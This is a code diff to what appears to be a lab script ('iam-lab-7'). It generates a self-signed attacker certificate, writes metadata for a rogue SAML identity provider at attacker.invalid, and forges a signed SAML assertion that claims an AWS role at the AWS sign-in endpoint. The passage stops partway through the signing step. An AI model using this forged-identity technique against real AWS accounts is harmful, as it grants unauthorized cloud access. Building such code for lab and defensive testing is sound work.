@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
368368def _openssl_make_key_and_cert (tmpdir : str ) -> tuple[str , str ]:
369369 key_path = os.path.join(tmpdir, " key.pem" )
370370 cert_path = os.path.join(tmpdir, " cert.pem" )
371+
371372 _run(
372373 [
373374 " openssl" ,
@@ -383,26 +384,25 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
383384 " 3650" ,
384385 " -nodes" ,
385386 " -subj" ,
386- " /CN=attacker-idp " ,
387+ " /CN=iam-lab-7-attacker " ,
387388 ]
388389 )
389390 return key_path, cert_path
390391
391392
392393def _pem_cert_to_b64 (cert_pem : str ) -> str :
393- lines: list[ str ] = []
394+ lines = []
394395 for line in cert_pem.splitlines():
395396 if " BEGIN CERTIFICATE" in line or " END CERTIFICATE" in line:
396397 continue
397- line = line.strip()
398- if line:
399- lines.append(line)
398+ if line.strip():
399+ lines.append(line.strip())
400400 return " " .join(lines)
401401
402402
403403def make_metadata_xml (cert_b64 : str ) -> str :
404404 return f """ <?xml version="1.0"?>
405- <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
405+ <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://iam-lab-7. attacker.invalid/idp">
406406 <IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
407407 <KeyDescriptor use="signing">
408408 <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
411411 </X509Data>
412412 </KeyInfo>
413413 </KeyDescriptor>
414- <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
414+ <SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://iam-lab-7. attacker.invalid/sso"/>
415415 </IDPSSODescriptor>
416416</EntityDescriptor>
417417"""
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
437437 response.set(" Destination" , " https://signin.aws.amazon.com/saml" )
438438
439439 issuer = etree.SubElement(response, etree.QName(ns[" saml2" ], " Issuer" ))
440- issuer.text = " https://attacker.invalid/idp"
440+ issuer.text = " https://iam-lab-7. attacker.invalid/idp"
441441
442442 status = etree.SubElement(response, etree.QName(ns[" saml2p" ], " Status" ))
443443 status_code = etree.SubElement(status, etree.QName(ns[" saml2p" ], " StatusCode" ))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
449449 assertion.set(" IssueInstant" , issue_instant.isoformat())
450450
451451 a_issuer = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Issuer" ))
452- a_issuer.text = " https://attacker.invalid/idp"
452+ a_issuer.text = " https://iam-lab-7. attacker.invalid/idp"
453453
454454 subject = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " Subject" ))
455455 name_id = etree.SubElement(subject, etree.QName(ns[" saml2" ], " NameID" ))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
470470 audience = etree.SubElement(audience_restriction, etree.QName(ns[" saml2" ], " Audience" ))
471471 audience.text = " https://signin.aws.amazon.com/saml"
472472
473- attr_stmt = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AttributeStatement" ))
473+ authn_statement = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AuthnStatement" ))
474+ authn_statement.set(" AuthnInstant" , issue_instant.isoformat())
475+ authn_statement.set(" SessionIndex" , str (uuid.uuid4()))
476+
477+ authn_context = etree.SubElement(authn_statement, etree.QName(ns[" saml2" ], " AuthnContext" ))
478+ authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[" saml2" ], " AuthnContextClassRef" ))
479+ authn_context_class_ref.text = " urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
480+
481+ attribute_statement = etree.SubElement(assertion, etree.QName(ns[" saml2" ], " AttributeStatement" ))
474482
475- attr_role = etree.SubElement(attr_stmt , etree.QName(ns[" saml2" ], " Attribute" ))
483+ attr_role = etree.SubElement(attribute_statement , etree.QName(ns[" saml2" ], " Attribute" ))
476484 attr_role.set(" Name" , " https://aws.amazon.com/SAML/Attributes/Role" )
477485 attr_role_value = etree.SubElement(attr_role, etree.QName(ns[" saml2" ], " AttributeValue" ))
478486 attr_role_value.text = f " { role_arn} , { principal_arn} "
479487
480- attr_session = etree.SubElement(attr_stmt , etree.QName(ns[" saml2" ], " Attribute" ))
488+ attr_session = etree.SubElement(attribute_statement , etree.QName(ns[" saml2" ], " Attribute" ))
481489 attr_session.set(" Name" , " https://aws.amazon.com/SAML/Attributes/RoleSessionName" )
482490 attr_session_value = etree.SubElement(attr_session, etree.QName(ns[" saml2" ], " AttributeValue" ))
483- attr_session_value.text = " saml -session"
491+ attr_session_value.text = " iam-lab-7 -session"
484492
485- key_bytes = open (key_pem, " rb" ).read()
486- cert_bytes = open (cert_pem, " rb" ).read()
493+ with open (key_pem, " rb" ) as f:
494+ key_bytes = f.read()
495+ with open (cert_pem, " rb" ) as f:
496+ cert_bytes = f.read()
487497
488498 signer = XMLSigner(
489499 method = methods.enveloped,
0 commit comments